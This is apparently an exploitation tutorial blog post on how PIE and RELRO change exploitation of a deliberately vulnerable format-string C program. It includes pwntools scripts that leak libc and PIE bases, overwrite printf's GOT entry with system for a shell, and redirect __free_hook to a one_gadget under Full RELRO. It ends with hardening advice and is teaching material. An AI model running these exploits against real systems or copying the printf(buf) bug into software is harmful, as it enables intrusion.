PIE and RELRO: What They Change for Exploitation

PIE and RELRO: What They Change for Exploitation - article cover image RE & Pwn
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Two linker-level mitigations quietly decide how much work a memory-corruption bug takes to turn into a shell: PIE (Position-Independent Executable) and RELRO (RELocation Read-Only). PIE randomizes the load address of the main binary itself — its code, its PLT, its GOT, its global data — so that, like a shared library, none of it sits at a fixed address. RELRO controls whether the Global Offset Table, the table of resolved function pointers that the PLT jumps through, stays writable at runtime. Together they determine whether an attacker gets free gadgets and a free write target, or has to earn a leak and find another way.

Reading checksec output correctly means understanding what each state actually removes from your toolkit. No-PIE hands you fixed code addresses and a fixed GOT; PIE forces a code leak before any gadget is usable. Partial RELRO leaves the GOT writable, making a single arbitrary write into a clean control-flow hijack; Full RELRO maps the GOT read-only after startup, deleting that technique entirely. This article dissects both mitigations, shows the concrete difference with a vulnerable binary, and demonstrates the GOT-overwrite that Full RELRO exists to stop.

Attack Prerequisites

Whether PIE/RELRO matter to you depends on the primitive you already hold:

  • For a GOT overwrite — an arbitrary (or targeted) write-what-where, plus Partial (or No) RELRO so the GOT page is writable, plus knowledge of a GOT entry’s address (fixed if No-PIE, else leaked).
  • For gadget reuse in a No-PIE binary — nothing extra; the code and PLT are at constant addresses you can read straight from the ELF.
  • Under PIE — an information leak of any code pointer (return address, GOT contents, a printed function address) to recover the image base before any binary gadget or symbol is usable.
  • Under Full RELRO — an alternative write target, since the GOT is off the table: __free_hook/__malloc_hook (glibc < 2.34), exit handlers, a FILE vtable, or a saved return address.

How It Works

Dynamically linked programs call external functions like puts through the PLT/GOT indirection. A call puts@plt jumps to a PLT stub, which jumps through the GOT entry for puts. On first call that GOT slot points back into the dynamic linker’s resolver (_dl_runtime_resolve), which finds the real puts in libc and writes its address into the GOT so subsequent calls are direct — this is lazy binding. The GOT is therefore a table of function pointers that the program jumps through on every external call, which is exactly why it is such an attractive overwrite target: replace the pointer for a function the program calls with the address of system (or a one_gadget) and the next call is hijacked.

RELRO governs the writability of that table. With Partial RELRO (the default on most toolchains), the ELF is reordered so that .data/.bss cannot corrupt into the relocation sections, but the GOT remains writable because lazy binding needs to update it at runtime. With Full RELRO (-Wl,-z,relro,-z,now), the linker resolves every external symbol eagerly at startup (BIND_NOW) and then asks the kernel to mprotect the GOT read-only. From that point a write to a GOT entry faults, so the classic GOT-overwrite primitive is dead. The cost is slightly slower startup, which is why Partial has historically been the default.

PIE is the other axis. A No-PIE (ET_EXEC) binary is linked to load at a fixed virtual address — historically 0x400000 on x86-64 — so every instruction, every gadget, every PLT stub, and every GOT slot has a constant address you can read directly from the file with objdump or pwntools. A PIE (ET_DYN) binary is loaded at a random base each run, so those addresses are only known as offsets until you leak one runtime code pointer and subtract its file offset to recover the base. PIE thus converts “I already know where the gadget is” into “I must leak first,” which is often the hardest step of an exploit.

Vulnerable Code / Setup

A format-string bug is the ideal lens because it gives both a leak (to beat PIE) and a write (to hit the GOT), so the mitigations’ effects are visible in one program:

// fmt.c
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    char buf[128];
    setvbuf(stdout, NULL, _IONBF, 0);
    while (fgets(buf, sizeof buf, stdin)) {
        printf(buf);          // VULN: user string as format -> %n write
        fflush(stdout);
    }
    return 0;
}
C

Build it two ways and compare checksec — the states dictate completely different exploits from the same bug:

# Easy target: no PIE, partial RELRO (writable GOT).
gcc -no-pie -Wl,-z,relro,-z,lazy -o fmt_easy fmt.c

# Hardened: PIE + full RELRO (read-only GOT).
gcc -pie -fPIE -Wl,-z,relro,-z,now -o fmt_hard fmt.c

$ checksec --file=./fmt_easy
RELRO      STACK CANARY   NX        PIE
Partial    No canary      NX enab   No PIE

$ checksec --file=./fmt_hard
RELRO      STACK CANARY   NX        PIE
Full       No canary      NX enab   PIE enabled
Bash

On fmt_easy, printf(&puts_got) is a live, writable pointer at a fixed address — a textbook GOT overwrite. On fmt_hard, the same write faults because the GOT is read-only, and even locating it first requires leaking the PIE base. Same bug, two mitigations, two different amounts of work.

Walkthrough / Exploitation

Against the easy build, the format string leaks nothing we need (No-PIE gives fixed addresses) and writes directly. We overwrite the GOT entry for printf itself — actually a function the loop calls again — with system, so the next line we send is executed as a command. pwntools’ fmtstr_payload computes the %n writes for us:

from pwn import *
elf  = context.binary = ELF('./fmt_easy')
libc = elf.libc
io = process('./fmt_easy')

# Leak a libc pointer via the format string to rebase libc.
io.sendline(b'%3$p')                 # print a stack-resident libc addr
leak = int(io.recvline(), 16)
libc.address = leak - <known_offset_for_this_libc>
system = libc.symbols['system']
Python

Now redirect a GOT entry the program will invoke. Overwriting the GOT slot of fgets/printf with system means the next loop iteration calls system(buf); sending /bin/sh then yields a shell. fmtstr_payload needs the format offset (the argument index where our buffer starts), found by sending %N$p probes:

offset = 6      # determined by probing: 'AAAA%6$p' echoes 41414141
writes = {elf.got['printf']: system}
payload = fmtstr_payload(offset, writes)
io.sendline(payload)                 # GOT[printf] = system
io.sendline(b'/bin/sh')              # next printf(buf) -> system("/bin/sh")
io.interactive()
Python

Against fmt_hard this fails twice. First, elf.got['printf'] is only an offset until we leak the PIE base — so we read a return address off the stack via the format string and subtract its known file offset:

io.sendline(b'%15$p')                # a saved __libc_start_main-return, etc.
leak = int(io.recvline(), 16)
elf.address = leak - <code_offset_of_that_return_site>   # rebase PIE
log.success('PIE base = %#x' % elf.address)
Python

Second, even with the GOT located, Full RELRO makes it read-only, so the %n write to a GOT slot faults. The technique must change target — on glibc < 2.34 to __free_hook, or generally to a saved return address / exit handler / FILE vtable pointer that remains writable:

# Full RELRO: GOT is read-only. Redirect a writable pointer instead.
target = libc.symbols['__free_hook']     # glibc < 2.34; else use FSOP/ret addr
writes = {target: libc.address + 0xe3b01}  # a one_gadget
io.sendline(fmtstr_payload(offset, writes))
# then trigger a free() so __free_hook fires -> one_gadget -> shell
Python

Notes

Note: PIE binaries are loaded as ET_DYN, so the low 12 bits of every symbol are fixed and only the page-aligned base is randomized — meaning a partial overwrite of a return address’s low bytes can redirect flow within the image without any leak, the same seam ASLR partial overwrites exploit. Full RELRO does nothing to stop that, since it only protects the GOT, not the stack.

Opsec: Do not assume checksec’s RELRO line tells the whole story: a binary can be Full RELRO yet still trivially exploitable via __free_hook, exit handlers, or FSOP, while a Partial-RELRO binary with no useful GOT-called function after your write may be harder than it looks. Read RELRO as “is the GOT a valid target?” not as “is this binary safe?”

Detection and Defense

PIE and RELRO are build-time decisions; getting them right removes whole categories of primitive:

  • Full RELRO (-Wl,-z,relro,-z,now) — makes the GOT read-only after startup, eliminating GOT-overwrite as a control-flow hijack. Use it for anything security-sensitive despite the small startup cost.
  • PIE (-fPIE -pie) — randomizes the main image so gadgets and the GOT are not at fixed addresses, forcing an attacker to obtain a code leak first.
  • Combine with ASLR, canaries, and NX — RELRO/PIE close specific doors; the leak an attacker needs to reopen them is itself blocked by fixing info-leak bugs and -D_FORTIFY_SOURCE=2.
  • Verify shipped binaries with checksec/hardening-check in CI so a regression to Partial RELRO or No-PIE is caught before release.
  • Forward-edge CFI (-fcf-protection, IBT) — even if a pointer is overwritten, restricts where indirect control transfers may land.

Real-World Impact

The GOT-overwrite that Partial RELRO permits was one of the most common exploitation primitives of the 2000s and remains a first thing to check on any CTF binary: a single arbitrary write plus a writable GOT plus a subsequently called function equals a shell. Full RELRO, standardized as a default in many modern distributions’ hardened build flags, is a direct response — it is why contemporary exploitation leans on __free_hook, exit handlers, and FSOP (_IO_FILE) instead. PIE’s mainstreaming (default -pie in modern GCC/Clang on most distributions) similarly explains why “get a leak” is now the universal first phase of a Linux userland exploit rather than an occasional inconvenience.

Conclusion

PIE and RELRO do not patch bugs; they change the exchange rate between a bug and a shell. No-PIE gives away fixed gadgets and a fixed GOT; PIE makes you leak the image base before anything is usable. Partial RELRO leaves the GOT writable and invites a one-write control-flow hijack; Full RELRO closes it and pushes you toward hooks, exit handlers, and FILE structures. Read the checksec output as a map of which primitives are available, and you will know, before writing a line of exploit, whether you need a leak, a different write target, or nothing at all.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL